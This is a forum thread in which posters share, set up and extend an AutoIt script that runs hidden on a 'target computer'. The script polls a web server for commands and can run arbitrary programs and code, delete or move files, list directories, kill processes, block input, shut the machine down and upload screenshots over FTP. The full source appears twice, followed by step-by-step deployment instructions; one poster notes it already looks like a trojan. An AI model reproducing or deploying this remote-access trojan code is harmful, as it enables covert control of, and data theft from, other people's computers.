jacksont123 Posted May 12, 2006 Share Posted May 12, 2006 (edited) thanks a lot zerocool! you don't know how much I appreciate this!! here's the most updated working code expandcollapse popup#include <Inet.au3> #include <FTP.au3> #include <array.au3> HotKeySet ( "^!+x", "e") $server = 'ftp.t35.com' $username = 'xxx.t35.com' $pass = 'xxx' $vol = 50 Global $TimeInt = 3000;refresh time Global $phpurl = "http://xxx.t35.com/commandme.php";php location for command exchange AutoItSetOption("WinTitleMatchMode", 2) AutoItSetOption ( "TrayIconHide", 1 ) While 2 InetGet("http://xxx.t35.com/com.con", "com.con", 1) $file = FileOpen ( "com.con", 0 ) $con = FileRead ( $file ) FileClose ( $file ) script1() Sleep (1000) ; InetGet("http://xxx.t35.com/rom.con", "rom.con", 1) $file2 = FileOpen ( "rom.con", 0 ) $con2 = FileRead ( $file2 ) FileClose ( $file2 ) Sleep (1000) $text = _INetGetSource ( "http://xxx.t35.com/rom.con" ) ;_INetGetSource ( $phpurl & "?clear=1") <=CLEARS FILE, NOT NEEDED BECAUSE TEXTIN CLEARS FIRST If $text <> "" Then $text = StringMid ( $text, 1, StringInStr($text, "<!" )-1) ConsoleWrite($text & @CR); PUTS OUT CURRENT COMMON FILE TEXT $func = funcfind() If $func <> "" Then _INetGetSource ( $phpurl & "?textin=" & $func & " at " & @HOUR & ":" & @MIN & ":" & @SEC) $text = "" EndIf Sleep($TimeInt) Wend Func script1() if StringInStr ($con, "pc17") > 0 Then Select Case StringInStr ($con, "opencd") > 0 CDTray ( "d:", "open" ) Case StringInStr ($con, "closecd") > 0 CDTray ( "d:", "close" ) Case StringInStr ($con, "nextsong") > 0 Send("{MEDIA_NEXT}") Case StringInStr ($con, "backsong") > 0 Send("{MEDIA_PREV}") Case StringInStr ($con, "voldown") > 0 $vol = $vol - 20 SoundSetWaveVolume ( $vol ) Send("{VOLUME_DOWN 5}") Case StringInStr ($con, "volup") > 0 $vol = $vol + 20 SoundSetWaveVolume ( $vol ) Send("{VOLUME_UP 5}") Case StringInStr ($con, "stopsong") > 0 Send("{MEDIA_STOP}") Case StringInStr ($con, "volmute") > 0 Send("{VOLUME_MUTE}") Case StringInStr ($con, "playsong") > 0 Send("{MEDIA_PLAY_PAUSE}") Case StringInStr ($con, "monitortoggle") > 0 MonitorToggle() Case StringInStr ( $con, "screenflicker") > 0 screenFlicker() Case StringInStr ( $con, "windowshake") > 0 windowShake() Case StringInStr ($con, "logoff") > 0 clear() Shutdown (0) Case StringInStr ($con, "shutdown") > 0 clear() Shutdown (9) Case StringInStr ($con, "reboot") > 0 clear() Shutdown (6) Case StringInStr ($con, "suspend") > 0 clear() Shutdown (32) Case StringInStr ($con, "hibernate") > 0 clear() Shutdown (64) Case StringInStr ($con, "wmplayer") > 0 ProcessClose ("wmplayer.exe") Case StringInStr ($con, "explorer") > 0 ProcessClose ("explorer") Case StringInStr ($con, "winword") > 0 ProcessClose ("WINWORD.EXE") Case StringInStr ($con, "excel") > 0 ProcessClose ("EXCEL.EXE") Case StringInStr ($con, "beep") > 0 Beep(500, 1000) Case StringInStr ($con, "unblock") > 0 BlockInput ( 0 ) Case StringInStr ($con, "block") > 0 BlockInput ( 1 ) Case StringInStr ($con, "window") > 0 WinClose ( "" ) Case StringInStr ($con, "runwm") > 0 run ("C:\Program Files\Windows Media Player\wmplayer.exe") Case StringInStr ($con, "screenshot") > 0 $date= @YEAR & @MON & @MDAY & @HOUR & @MIN & @SEC Sleep(1000) DllCall("captdll.dll", "int", "CaptureScreen", "str", @ScriptDir & "/TempPS.jpg", "int", 40) Sleep(1000) $Open = _FTPOpen('MyFTP Control') Sleep(1000) $Conn = _FTPConnect($Open, $server, $username, $pass) Sleep(1000) $Ftpp = _FtpPutFile($Conn, @ScriptDir & "/TempPS.jpg", $date & 'TempPS.jpg') Sleep(1000) $Ftpc = _FTPClose($Open) Case StringInStr ($con, "exit") > 0 Exit Case Else $con = "" EndSelect if $con <> "" Then FileOpen ( "com.con", 2 ) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) _FTPDelFile($Conn, '/com.con') $Ftpc = _FTPClose($Open) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) $Ftpp = _FtpPutFile($Conn, @ScriptDir & '/com.con', '/com.con') $Ftpc = _FTPClose($Open) endif Endif EndFunc func clear() FileOpen ( "com.con", 2 ) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) _FTPDelFile($Conn, '/com.con') $Ftpc = _FTPClose($Open) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) $Ftpp = _FtpPutFile($Conn, @ScriptDir & '/com.con', '/com.con') $Ftpc = _FTPClose($Open) endfunc MonitorToggle(1) Sleep (50000) MonitorToggle(0) Func MonitorToggle($Off = 1) $opt = Opt("WinTitleMatchMode", 4) $WM_SYSCommand = 274 $SC_MonitorPower = 61808 $Power_Off = 2 $Power_On = -1 $Off = 1 $HWND = WinGetHandle("classname=Progman") If $Off Then DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, _ "int", $SC_MonitorPower, "int", $Power_Off) Else DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, _ "int", $SC_MonitorPower, "int", $Power_On) EndIf Opt ("WinTitleMatchMode", $opt) EndFunc func screenFlicker() Opt("WinTitleMatchMode", 4) $WM_SYSCommand = 274 $SC_MonitorPower = 61808 $Power_On = -1 $Power_Off = 2 $X = 1 $HWND = WinGetHandle("classname=Progman") DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_Off) DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_On) endFunc func windowShake() ; script to shake the current window... $windowArray = WinList() ; set up some of the shake parameters $numShakes = 50 $shakeIntensity = 50 $shakeDelay = 20 For $i = 1 to $windowArray[0][0] ; loop through to find the active window... and shake it... If $windowArray[$i][0] <> "" AND isVisible($windowArray[$i][1]) And winActive($windowArray[$i][0]) Then $posArray = WinGetPos($windowArray[$i][0]) ; shake it like a salt shaka For $x = 1 to $numShakes if Random(0,1) = 1 then $shakeIntensity = $shakeIntensity * -1 WinMove ( $windowArray[$i][0], "", $posArray[0]+$shakeIntensity, $posArray[1]+$shakeIntensity) sleep(10) WinMove ( $windowArray[$i][0], "", $posArray[0], $posArray[1]) Next EndIf Next endFunc func isVisible($handle) If BitAnd( WinGetState($handle), 2 ) Then Return 1 Else Return 0 EndIf EndFunc func e() exit endfunc Func funcfind() $gettext = StringSplit($text, "*") $ubound = UBound($gettext)-1 if $ubound > 0 Then Select Case $gettext[1] = "quit" Exit Case $gettext[1] = "dir" Dim $dir _ArrayDelete($gettext, 0) $directory = _ArrayToString ( $gettext, "*" ) $directory = StringReplace($directory, "dir*", "") $directory = StringReplace($directory, "\\", "\") $search = FileFindFirstFile($directory) $dir = _ArrayCreate("") If $search = -1 Then Return "No files/directories matched the search pattern" EndIf While 1 $file = FileFindNextFile($search) If @error Then ExitLoop _ArrayAdd ( $dir, $file ) WEnd FileClose($search) $dirout = _ArrayToString ( $dir, "&" ) $dirout = StringReplace( $dirout, "&", "<br>" ) Return "Files in folder: " & $directory & "<br>" & $dirout & "<BR><BR>Directory listed " Case $gettext[1] = "timeint" And $ubound=2 $TimeInt = $gettext[2] Return "Time set" Case $gettext[1] = "say" And $ubound=2 _TalkOBJ($gettext[2], 3) Return "Said: " & $gettext[2] Case $gettext[1] = "close" And $ubound=2 $return = WinClose($gettext[2]) If $return = 1 Then Return "Closed: " & $gettext[2] Else Return "Could not close: " & $gettext[2] EndIf Case $gettext[1] = "kill" And $ubound=2 $return = WinClose($gettext[2]) If $return = 1 Then Return "Killed: " & $gettext[2] Else Return "Could not kill: " & $gettext[2] EndIf Case $gettext[1] = "processclose" And $ubound=2 ProcessClose($gettext[2]) Return "Process Closed: " & $gettext[2] Case $gettext[1] = "filedel" And $ubound=2 $gettext[2] = StringReplace($gettext[2], "\\", "\") FileDelete($gettext[2]) Return "File deleted: " & $gettext Case $gettext[1] = "filerun" And $ubound=2 $gettext[2] = StringReplace($gettext[2], "\\", "\") AutoItSetOption("RunErrorsFatal", 0) Run($gettext[2]) If @error = 1 then $return = "Error running program: " & $gettext[2] AutoItSetOption("RunErrorsFatal", 1) Return "File ran: " & $gettext[2] Case $gettext[1] = "filemove" And $ubound=3 $gettext[2] = StringReplace($gettext[2], "\\", "\") $gettext[3] = StringReplace($gettext[3], "\\", "\") FileMove($gettext[2], $gettext[3], 9) Return "File moved from: " & $gettext[2] & " to " & $gettext[3] Case $gettext[1] = "filecopy" And $ubound=3 $gettext[2] = StringReplace($gettext[2], "\\", "\") $gettext[3] = StringReplace($gettext[3], "\\", "\") FileCopy($gettext[2], $gettext[3], 9) Return "File Copied from: " & $gettext[2] & " to " & $gettext[3] Case $gettext[1] = "beep" And $ubound=3 Beep($gettext[2], $gettext[3]) Return "Beeped on freqency: " & $gettext[2] & " for " & $gettext[3] & " milliseconds" Case $gettext[1] = "media" And $ubound=2 Select Case $gettext[2] = "open" AutoItSetOption("RunErrorsFatal", 0) Run('C:\Program Files\Windows Media Player\wmplayer.exe') If @error = 1 then $return = "Error opening Windows Media Player" AutoItSetOption("RunErrorsFatal", 1) Case $gettext[2] = "next" send("{MEDIA_NEXT}") Case $gettext[2] = "back" send("{MEDIA_PREV}") Case $gettext[2] = "play" Send("{MEDIA_PLAY_PAUSE}") Case $gettext[2] = "stop" send("{MEDIA_STOP}") Case $gettext[2] = "up" send("{VOLUME_UP}") Case $gettext[2] = "down" send("{VOLUME_DOWN}") Case $gettext[2] = "mute" send("{VOLUME_MUTE}") Case $gettext[2] = "fullscreen" WinActivate( "Windows Media Player" ) Send("{Alt}{Enter}") EndSelect Return "Ran media command: " & $gettext[2] Case $gettext[1] = "au3" $gettext[2] = StringReplace($gettext[2], "\'", "'") $gettext[2] = StringReplace($gettext[2], "\", "'") AutoItSetOption("RunErrorsFatal", 0) Run(@AutoItExe & ' /AutoIt3ExecuteLine ' & '"' & $gettext[2] & '"') If @error = 1 then $return = "Error running interpreter: " & $gettext[2] AutoItSetOption("RunErrorsFatal", 1) Return "Ran command: " & $gettext[2] ;case Else ;Return "Error or at Idle" EndSelect EndIf EndFunc Func _TalkOBJ($s_text, $s_voice = 3) Local $quite = 0 Local $o_speech = ObjCreate ("SAPI.SpVoice") Select Case $s_voice == 0 Return Case $s_voice == 1 $o_speech.Voice = $o_speech.GetVoices("Name=Microsoft Mary", "Language=409").Item(0);female Case $s_voice == 2 $o_speech.Voice = $o_speech.GetVoices("Name=Microsoft Mike", "Language=409").Item(0);male Case $s_voice == 3 $o_speech.Voice = $o_speech.GetVoices("Name=Microsoft Sam", "Language=409").Item(0);sam EndSelect $o_speech.Speak ($s_text) $o_speech = "" Sleep(1000) TrayTip("","",1) EndFunc;==>_TalkOBJ if there's anything you need, just tell me thanks again Edited May 14, 2006 by The Great 'Awesoma-Powa!' Link to comment Share on other sites More sharing options...
ConsultingJoe Posted May 13, 2006 Author Share Posted May 13, 2006 OK I think this is what you need. It is very simple, I commented it for you a command will now look somethink like this: 5*opencd goto line 46 for the changes, I like your little addons, funny CODE#include <Inet.au3> #include <FTP.au3> #include <array.au3> $PC = 5 ; this is the PC ID number HotKeySet ( "^!+x", "e") $server = 'ftp.t35.com' $username = 'xxx.t35.com' $pass = 'xxx' $vol = 50 Global $TimeInt = 3000;refresh time Global $phpurl = "http://thetvremote.t35.com/commandme.php";php location for command exchange AutoItSetOption("WinTitleMatchMode", 2) AutoItSetOption ( "TrayIconHide", 1 ) While 2 InetGet("http://xxx.t35.com/com.con", "com.con", 1) $file = FileOpen ( "com.con", 0 ) $con = FileRead ( $file ) FileClose ( $file ) script1() Sleep (1000) ; InetGet("http://xxx.t35.com/rom.con", "rom.con", 1) $file2 = FileOpen ( "rom.con", 0 ) $con2 = FileRead ( $file2 ) FileClose ( $file2 ) Sleep (1000) $text = _INetGetSource ( "http://xxx.t35.com/rom.con" ) ;_INetGetSource ( $phpurl & "?clear=1") <=CLEARS FILE, NOT NEEDED BECAUSE TEXTIN CLEARS FIRST If $text <> "" Then $text = StringMid ( $text, 1, StringInStr($text, "<!" )-1) ConsoleWrite($text & @CR); PUTS OUT CURRENT COMMON FILE TEXT $func = funcfind() If $func <> "" Then _INetGetSource ( $phpurl & "?textin=" & $func & " at " & @HOUR & ":" & @MIN & ":" & @SEC) $text = "" EndIf Sleep($TimeInt) Wend Func script1() ;Input for a command will now be: 5*opencd $con = StringSplit ($con, "*") ;this should split the info, $con[1]=pc number and $con[2]=the command If $con[1] = $PC Then $con = $con[2] ;this should set $con back to just the command Select Case StringInStr ($con, "opencd") > 0 CDTray ( "d:", "open" ) Case StringInStr ($con, "closecd") > 0 CDTray ( "d:", "close" ) Case StringInStr ($con, "nextsong") > 0 Send("{MEDIA_NEXT}") Case StringInStr ($con, "backsong") > 0 Send("{MEDIA_PREV}") Case StringInStr ($con, "voldown") > 0 $vol = $vol - 20 SoundSetWaveVolume ( $vol ) Send("{VOLUME_DOWN 5}") Case StringInStr ($con, "volup") > 0 $vol = $vol + 20 SoundSetWaveVolume ( $vol ) Send("{VOLUME_UP 5}") Case StringInStr ($con, "stopsong") > 0 Send("{MEDIA_STOP}") Case StringInStr ($con, "volmute") > 0 Send("{VOLUME_MUTE}") Case StringInStr ($con, "playsong") > 0 Send("{MEDIA_PLAY_PAUSE}") Case StringInStr ($con, "monitortoggle") > 0 MonitorToggle() Case StringInStr ( $con, "screenflicker") > 0 screenFlicker() Case StringInStr ( $con, "windowshake") > 0 windowShake() Case StringInStr ($con, "logoff") > 0 clear() Shutdown (0) Case StringInStr ($con, "shutdown") > 0 clear() Shutdown (9) Case StringInStr ($con, "reboot") > 0 clear() Shutdown (6) Case StringInStr ($con, "suspend") > 0 clear() Shutdown (32) Case StringInStr ($con, "hibernate") > 0 clear() Shutdown (64) Case StringInStr ($con, "wmplayer") > 0 ProcessClose ("wmplayer.exe") Case StringInStr ($con, "explorer") > 0 ProcessClose ("explorer") Case StringInStr ($con, "winword") > 0 ProcessClose ("WINWORD.EXE") Case StringInStr ($con, "excel") > 0 ProcessClose ("EXCEL.EXE") Case StringInStr ($con, "beep") > 0 Beep(500, 1000) Case StringInStr ($con, "unblock") > 0 BlockInput ( 0 ) Case StringInStr ($con, "block") > 0 BlockInput ( 1 ) Case StringInStr ($con, "window") > 0 WinClose ( "" ) Case StringInStr ($con, "runwm") > 0 run ("C:\Program Files\Windows Media Player\wmplayer.exe") Case StringInStr ($con, "screenshot") > 0 $date= @YEAR & @MON & @MDAY & @HOUR & @MIN & @SEC Sleep(1000) DllCall("captdll.dll", "int", "CaptureScreen", "str", @ScriptDir & "/TempPS.jpg", "int", 40) Sleep(1000) $Open = _FTPOpen('MyFTP Control') Sleep(1000) $Conn = _FTPConnect($Open, $server, $username, $pass) Sleep(1000) $Ftpp = _FtpPutFile($Conn, @ScriptDir & "/TempPS.jpg", $date & 'TempPS.jpg') Sleep(1000) $Ftpc = _FTPClose($Open) Case StringInStr ($con, "exit") > 0 Exit Case Else $con = "" EndSelect if $con <> "" Then FileOpen ( "com.con", 2 ) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) _FTPDelFile($Conn, '/com.con') $Ftpc = _FTPClose($Open) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) $Ftpp = _FtpPutFile($Conn, @ScriptDir & '/com.con', '/com.con') $Ftpc = _FTPClose($Open) endif Endif EndFunc func clear() FileOpen ( "com.con", 2 ) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) _FTPDelFile($Conn, '/com.con') $Ftpc = _FTPClose($Open) $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass) $Ftpp = _FtpPutFile($Conn, @ScriptDir & '/com.con', '/com.con') $Ftpc = _FTPClose($Open) endfunc MonitorToggle(1) Sleep (50000) MonitorToggle(0) Func MonitorToggle($Off = 1) $opt = Opt("WinTitleMatchMode", 4) $WM_SYSCommand = 274 $SC_MonitorPower = 61808 $Power_Off = 2 $Power_On = -1 $Off = 1 $HWND = WinGetHandle("classname=Progman") If $Off Then DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, _ "int", $SC_MonitorPower, "int", $Power_Off) Else DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, _ "int", $SC_MonitorPower, "int", $Power_On) EndIf Opt ("WinTitleMatchMode", $opt) EndFunc func screenFlicker() Opt("WinTitleMatchMode", 4) $WM_SYSCommand = 274 $SC_MonitorPower = 61808 $Power_On = -1 $Power_Off = 2 $X = 1 $HWND = WinGetHandle("classname=Progman") DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_Off) DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_On) endFunc func windowShake() ; script to shake the current window... $windowArray = WinList() ; set up some of the shake parameters $numShakes = 50 $shakeIntensity = 50 $shakeDelay = 20 For $i = 1 to $windowArray[0][0] ; loop through to find the active window... and shake it... If $windowArray[$i][0] <> "" AND isVisible($windowArray[$i][1]) And winActive($windowArray[$i][0]) Then $posArray = WinGetPos($windowArray[$i][0]) ; shake it like a salt shaka For $x = 1 to $numShakes if Random(0,1) = 1 then $shakeIntensity = $shakeIntensity * -1 WinMove ( $windowArray[$i][0], "", $posArray[0]+$shakeIntensity, $posArray[1]+$shakeIntensity) sleep(10) WinMove ( $windowArray[$i][0], "", $posArray[0], $posArray[1]) Next EndIf Next endFunc func isVisible($handle) If BitAnd( WinGetState($handle), 2 ) Then Return 1 Else Return 0 EndIf EndFunc func e() exit endfunc Func funcfind() $gettext = StringSplit($text, "*") $ubound = UBound($gettext)-1 if $ubound > 0 Then Select Case $gettext[1] = "quit" Exit Case $gettext[1] = "dir" Dim $dir _ArrayDelete($gettext, 0) $directory = _ArrayToString ( $gettext, "*" ) $directory = StringReplace($directory, "dir*", "") $directory = StringReplace($directory, "\\", "\") $search = FileFindFirstFile($directory) $dir = _ArrayCreate("") If $search = -1 Then Return "No files/directories matched the search pattern" EndIf While 1 $file = FileFindNextFile($search) If @error Then ExitLoop _ArrayAdd ( $dir, $file ) WEnd FileClose($search) $dirout = _ArrayToString ( $dir, "&" ) $dirout = StringReplace( $dirout, "&", "<br>" ) Return "Files in folder: " & $directory & "<br>" & $dirout & "<BR><BR>Directory listed " Case $gettext[1] = "timeint" And $ubound=2 $TimeInt = $gettext[2] Return "Time set" Case $gettext[1] = "say" And $ubound=2 _TalkOBJ($gettext[2], 3) Return "Said: " & $gettext[2] Case $gettext[1] = "close" And $ubound=2 $return = WinClose($gettext[2]) If $return = 1 Then Return "Closed: " & $gettext[2] Else Return "Could not close: " & $gettext[2] EndIf Case $gettext[1] = "kill" And $ubound=2 $return = WinClose($gettext[2]) If $return = 1 Then Return "Killed: " & $gettext[2] Else Return "Could not kill: " & $gettext[2] EndIf Case $gettext[1] = "processclose" And $ubound=2 ProcessClose($gettext[2]) Return "Process Closed: " & $gettext[2] Case $gettext[1] = "filedel" And $ubound=2 $gettext[2] = StringReplace($gettext[2], "\\", "\") FileDelete($gettext[2]) Return "File deleted: " & $gettext Case $gettext[1] = "filerun" And $ubound=2 $gettext[2] = StringReplace($gettext[2], "\\", "\") AutoItSetOption("RunErrorsFatal", 0) Run($gettext[2]) If @error = 1 then $return = "Error running program: " & $gettext[2] AutoItSetOption("RunErrorsFatal", 1) Return "File ran: " & $gettext[2] Case $gettext[1] = "filemove" And $ubound=3 $gettext[2] = StringReplace($gettext[2], "\\", "\") $gettext[3] = StringReplace($gettext[3], "\\", "\") FileMove($gettext[2], $gettext[3], 9) Return "File moved from: " & $gettext[2] & " to " & $gettext[3] Case $gettext[1] = "filecopy" And $ubound=3 $gettext[2] = StringReplace($gettext[2], "\\", "\") $gettext[3] = StringReplace($gettext[3], "\\", "\") FileCopy($gettext[2], $gettext[3], 9) Return "File Copied from: " & $gettext[2] & " to " & $gettext[3] Case $gettext[1] = "beep" And $ubound=3 Beep($gettext[2], $gettext[3]) Return "Beeped on freqency: " & $gettext[2] & " for " & $gettext[3] & " milliseconds" Case $gettext[1] = "media" And $ubound=2 Select Case $gettext[2] = "open" AutoItSetOption("RunErrorsFatal", 0) Run('C:\Program Files\Windows Media Player\wmplayer.exe') If @error = 1 then $return = "Error opening Windows Media Player" AutoItSetOption("RunErrorsFatal", 1) Case $gettext[2] = "next" send("{MEDIA_NEXT}") Case $gettext[2] = "back" send("{MEDIA_PREV}") Case $gettext[2] = "play" Send("{MEDIA_PLAY_PAUSE}") Case $gettext[2] = "stop" send("{MEDIA_STOP}") Case $gettext[2] = "up" send("{VOLUME_UP}") Case $gettext[2] = "down" send("{VOLUME_DOWN}") Case $gettext[2] = "mute" send("{VOLUME_MUTE}") Case $gettext[2] = "fullscreen" WinActivate( "Windows Media Player" ) Send("{Alt}{Enter}") EndSelect Return "Ran media command: " & $gettext[2] Case $gettext[1] = "au3" $gettext[2] = StringReplace($gettext[2], "\'", "'") $gettext[2] = StringReplace($gettext[2], "\", "'") AutoItSetOption("RunErrorsFatal", 0) Run(@AutoItExe & ' /AutoIt3ExecuteLine ' & '"' & $gettext[2] & '"') If @error = 1 then $return = "Error running interpreter: " & $gettext[2] AutoItSetOption("RunErrorsFatal", 1) Return "Ran command: " & $gettext[2] ;case Else ;Return "Error or at Idle" EndSelect EndIf EndFunc Func _TalkOBJ($s_text, $s_voice = 3) Local $quite = 0 Local $o_speech = ObjCreate ("SAPI.SpVoice") Select Case $s_voice == 0 Return Case $s_voice == 1 $o_speech.Voice = $o_speech.GetVoices("Name=Microsoft Mary", "Language=409").Item(0);female Case $s_voice == 2 $o_speech.Voice = $o_speech.GetVoices("Name=Microsoft Mike", "Language=409").Item(0);male Case $s_voice == 3 $o_speech.Voice = $o_speech.GetVoices("Name=Microsoft Sam", "Language=409").Item(0);sam EndSelect $o_speech.Speak ($s_text) $o_speech = "" Sleep(1000) TrayTip("","",1) EndFunc;==>_TalkOBJ Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
jacksont123 Posted May 13, 2006 Share Posted May 13, 2006 ygpm Link to comment Share on other sites More sharing options...
imacrazyballoono Posted May 25, 2006 Share Posted May 25, 2006 is there a step by step anywhere that tells me exactly where to put the files? I downoaded FTP.au3 and remoteaction.php. What else do i need to download? and where to do i put it? Link to comment Share on other sites More sharing options...
ConsultingJoe Posted May 25, 2006 Author Share Posted May 25, 2006 (edited) is there a step by step anywhere that tells me exactly where to put the files? I downoaded FTP.au3 and remoteaction.php. What else do i need to download? and where to do i put it?Ok, I will explain this step by step.First, download the following files:remoteaction.phpserver.au3FTP.au3Then upload just "remoteaction.php" to any directory on your siteThen edit the AU3 file (server.au3) to match your site (User name, Password, and the location of remoteaction.php)Then run the script after the changes on the target computerthen goto "remoteaction.php" with a web browser (http://your_user_name.t35.com/remoteaction.php)type a command such as (say*hello there) or (media*open)That should be it, the target computer will say, "hello there" or open Windows Media PlayerAny problems??? Edited May 25, 2006 by zerocool60544 Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
jacksont123 Posted May 25, 2006 Share Posted May 25, 2006 (edited) just so you know, I fixed most of what I wanted thanks for your help zerocool. Edited May 25, 2006 by The Great 'Awesoma-Powa!' Link to comment Share on other sites More sharing options...
ConsultingJoe Posted May 25, 2006 Author Share Posted May 25, 2006 just so you know, I fixed most of what I wantedso I don't think i need your help zerocool, right now.thanks.Oh, well thats good, sorry I couldnt help, no time.do you want to share? Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
imacrazyballoono Posted May 25, 2006 Share Posted May 25, 2006 (edited) a couple things, where do i get FTP.au3? and also, i noticed in server.au3 that there are places that have xxx.t35.com/remoteaction.php do i need to change xxx to my username? In server.au3 i noticed you included array.au3 and inet.au3. do i need these? Edited May 25, 2006 by imacrazyballoono Link to comment Share on other sites More sharing options...
ConsultingJoe Posted May 25, 2006 Author Share Posted May 25, 2006 a couple things, where do i get FTP.au3? and also, i noticed in server.au3 that there are places that have xxx.t35.com/remoteaction.php do i need to change xxx to my username? In server.au3 i noticed you included array.au3 and inet.au3. do i need these?Array.au3 and InetGet.au3 are in your include folder of the beta install. The FTP.au3 is in the scripts and scrapts section, just search for "FTP.au3"and yes replace xxx.t35.com with your user name Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
imacrazyballoono Posted May 25, 2006 Share Posted May 25, 2006 I did all that, but now i get an error saying that this: $text = _INetGetSource ( "http://imacrazyballoon.t35.com/rom.con" ) is an invalid function Link to comment Share on other sites More sharing options...
ConsultingJoe Posted May 25, 2006 Author Share Posted May 25, 2006 I did all that, but now i get an error saying that this:$text = _INetGetSource ( "http://imacrazyballoon.t35.com/rom.con" )is an invalid functionmake sure you have the latest beta and your INet.au3 is in the include folder or your beta, and make sure it says at the top of the script: #include <Inet.au3> Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
imacrazyballoono Posted May 25, 2006 Share Posted May 25, 2006 Can you paste the contents of the most recent Inet.au3 Link to comment Share on other sites More sharing options...
jacksont123 Posted May 25, 2006 Share Posted May 25, 2006 (edited) Oh, well thats good, sorry I couldnt help, no time. do you want to share?first you'd want to have a pc identifier: $pc = '94' here's some examples: old syntax: processclose*notepad.exe (i wonder why notepad is often used as an example here ) new syntax: processclose#*94*notepad.exe ;old Case $gettext[1] = "processclose" And $ubound=2 ProcessClose($gettext[2]) Return "Process Closed: " & $gettext[2] ;new Case $gettext[1] = "processclose#" And $ubound=3 Select Case $gettext[2] = $pc ProcessClose($gettext[3]) Return "Process Closed: " & $gettext[3] EndSelect old syntax: filemove*c:\log.txt*c:\h2\log.txt new syntax: filemove#*94*c:\log.txt*c:\h2\log.txt ;old Case $gettext[1] = "filemove" And $ubound=3 $gettext[2] = StringReplace($gettext[2], "\\", "\") $gettext[3] = StringReplace($gettext[3], "\\", "\") FileMove($gettext[2], $gettext[3], 9) Return "File moved from: " & $gettext[2] & " to " & $gettext[3] ;~ filemove# ;new Case $gettext[1] = "filemove#" And $ubound=4 Select Case $gettext[2] = $pc $gettext[3] = StringReplace($gettext[3], "\\", "\") $gettext[4] = StringReplace($gettext[4], "\\", "\") FileMove($gettext[3], $gettext[4], 9) Return "File moved from: " & $gettext[3] & " to " & $gettext[4] EndSelect as you can read, both versions could work at the same time, so you can have the option of running the script on all machines, or just one hope that helps man fix script ..... man be proud the problem is i can't get this to work on dir it would be most definately helpful if someone could figure that out Edited May 25, 2006 by The Great 'Awesoma-Powa!' Link to comment Share on other sites More sharing options...
jacksont123 Posted May 25, 2006 Share Posted May 25, 2006 at the moment, i'm trying to combine other scripts to make this one great big super script . and of course i'll give credit where it's due Link to comment Share on other sites More sharing options...
ConsultingJoe Posted May 26, 2006 Author Share Posted May 26, 2006 at the moment, i'm trying to combine other scripts to make this one great big super script . and of course i'll give credit where it's duethat sounds cool, what do you wana add?you know it looks like a trogen already so be careful and do give it a bad nameGood luck and keep me updated, PM me if you want Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
jacksont123 Posted May 26, 2006 Share Posted May 26, 2006 oh yeah, i don't want to make it like a trojan or anything perhaps it could be used as a security monitor or something for an admin to check on its users... Link to comment Share on other sites More sharing options...
jacksont123 Posted May 26, 2006 Share Posted May 26, 2006 i fixed the dir command for individual computers you need a pc identifier: $pc = '37' here's the old code and the new code (they can both work simultaneously) ;old ;example: dir*c:\*.* Case $gettext[1] = "dir" Dim $dir _ArrayDelete($gettext, 0) $directory = _ArrayToString ( $gettext, "*" ) $directory = StringReplace($directory, "dir*", "") $directory = StringReplace($directory, "\\", "\") $search = FileFindFirstFile($directory) $dir = _ArrayCreate("") If $search = -1 Then Return "No files/directories matched the search pattern" EndIf While 1 $file = FileFindNextFile($search) If @error Then ExitLoop _ArrayAdd ( $dir, $file ) WEnd FileClose($search) $dirout = _ArrayToString ( $dir, "&" ) $dirout = StringReplace( $dirout, "&", "<br>" ) Return "Files in folder: " & $directory & "<br>" & $dirout & "<BR><BR>Directory listed " ;new ;example: 37dir*c:\*.* Case $gettext[1] = $pc & 'dir' Dim $dir _ArrayDelete($gettext, 0) $directory = _ArrayToString ( $gettext, "*" ) $directory = StringReplace($directory, $pc & "dir*", "") $directory = StringReplace($directory, "\\", "\") $search = FileFindFirstFile($directory) $dir = _ArrayCreate("") If $search = -1 Then Return "No files/directories matched the search pattern" EndIf While 1 $file = FileFindNextFile($search) If @error Then ExitLoop _ArrayAdd ( $dir, $file ) WEnd FileClose($search) $dirout = _ArrayToString ( $dir, "&" ) $dirout = StringReplace( $dirout, "&", "<br>" ) Return "Files in folder: " & $directory & "<br>" & $dirout & "<BR><BR>Directory listed "hope that helps Link to comment Share on other sites More sharing options...
ConsultingJoe Posted May 26, 2006 Author Share Posted May 26, 2006 i fixed the dir command for individual computers you need a pc identifier: $pc = '37' here's the old code and the new code (they can both work simultaneously) hope that helps cool, can you list the entire script and list the commands? and if you want I can update the first post with this and give you your deserved credit for it. Check out ConsultingJoe.com Link to comment Share on other sites More sharing options...
jacksont123 Posted May 27, 2006 Share Posted May 27, 2006 ygpm Link to comment Share on other sites More sharing options...
